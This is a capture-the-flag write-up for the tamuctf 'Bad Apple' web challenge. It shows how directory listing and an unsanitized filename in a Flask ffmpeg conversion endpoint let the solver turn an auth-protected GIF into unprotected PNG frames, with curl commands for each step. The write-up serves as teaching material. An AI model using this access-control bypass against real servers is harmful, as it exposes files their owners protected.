Bad Apple
Bad Apple
Platform: tamuctf | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: auth_bypass_via_format_conversion, directory_listing_exploitation, input_sanitization_bypass, visual_flag_extraction
Summary
A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.
Bad Apple — tamuctf
Description
funny touhou reference
A Flask web app that converts uploaded videos/GIFs to frames using ffmpeg, with Apache serving files. The challenge name "Bad Apple" is a famous Touhou reference. The goal is to retrieve a flag hidden in a GIF file that is protected by HTTP Basic Auth.
Analysis
Architecture
- Flask app (
wsgi_app.py): Handles file upload, conversion to frames via ffmpeg, and frame listing - Apache: Serves static files with directory indexing enabled on
/browse - Auth:
.giffiles require HTTP Basic Auth, but.pngfiles do not
Key Files from Dockerfile
dockerfile read-only • copy allowedCMD ["sh", "-c", "HEX=$(openssl rand -hex 16) && mv /srv/http/uploads/admin/flag.gif /srv/http/uploads/admin/$HEX-flag.gif && echo $HEX > /srv/http/.flag_secret && httpd -DFOREGROUND"]
- Flag GIF is renamed with random 16-byte hex prefix on startup
- Original location:
/srv/http/uploads/admin/flag.gif→/srv/http/uploads/admin/$HEX-flag.gif
Apache Configuration (httpd-append.conf)
apache read-only • copy allowedAlias /browse /srv/http/uploads <Directory /srv/http/uploads> Options +Indexes ... <FilesMatch "\.gif$"> AuthType Basic AuthName "Admin Area" AuthUserFile /srv/http/.htpasswd Require valid-user </FilesMatch> </Directory>
- Directory listing enabled (
Options +Indexes) — can enumerate files - Only
.giffiles require auth —.pngframes are unprotected
Vulnerability in /convert Endpoint
python read-only • copy allowed@app.route('/convert') def convert(): user_id = request.args.get('user_id', 'anonymous') filename = request.args.get('filename', '') input_path = os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(user_id), filename) # ... output_dir = os.path.join(FRAMES_BASE, user_id, safe_name)
Critical flaw: user_id is sanitized with secure_filename(), but filename is used RAW. This allows:
- Setting
user_id=admin(passes throughsecure_filename()unchanged) - Referencing any file in the admin directory directly
- Output frames go to
/srv/http/static/frames/admin/— served as PNG with NO auth
Solution
Step 1: Discover Flag Filename via Directory Listing
bash read-only • copy allowedcurl https://bad-apple.tamuctf.com/browse/admin/
Response shows: c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif
Direct download is blocked by HTTP Basic Auth.
Step 2: Convert Protected GIF to Unprotected PNG Frames
bash read-only • copy allowedcurl "https://bad-apple.tamuctf.com/convert?user_id=admin&filename=c1ece5e67d2d5366ab40d069fb2fd0ea-flag.gif"
This triggers ffmpeg to:
- Read the auth-protected GIF (server-side, no auth needed)
- Extract frames to
/srv/http/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/ - Frames are served as PNG files — no auth required!
Step 3: Retrieve Extracted Frames
bash read-only • copy allowedcurl "https://bad-apple.tamuctf.com/get_frames?user_id=admin&gif_name=c1ece5e67d2d5366ab40d069fb2fd0ea-flag"
Returns list of 155 PNG frames. Download and view them:
bash read-only • copy allowedfor i in $(seq -w 1 155); do curl -O "https://bad-apple.tamuctf.com/static/frames/admin/c1ece5e67d2d5366ab40d069fb2fd0ea-flag/frame_00${i}.png" done
Step 4: Read Flag from Frames
The GIF contains scrolling text. Reading across the frames reveals the flag.
Leet speak decode: "easy tohou flag rite"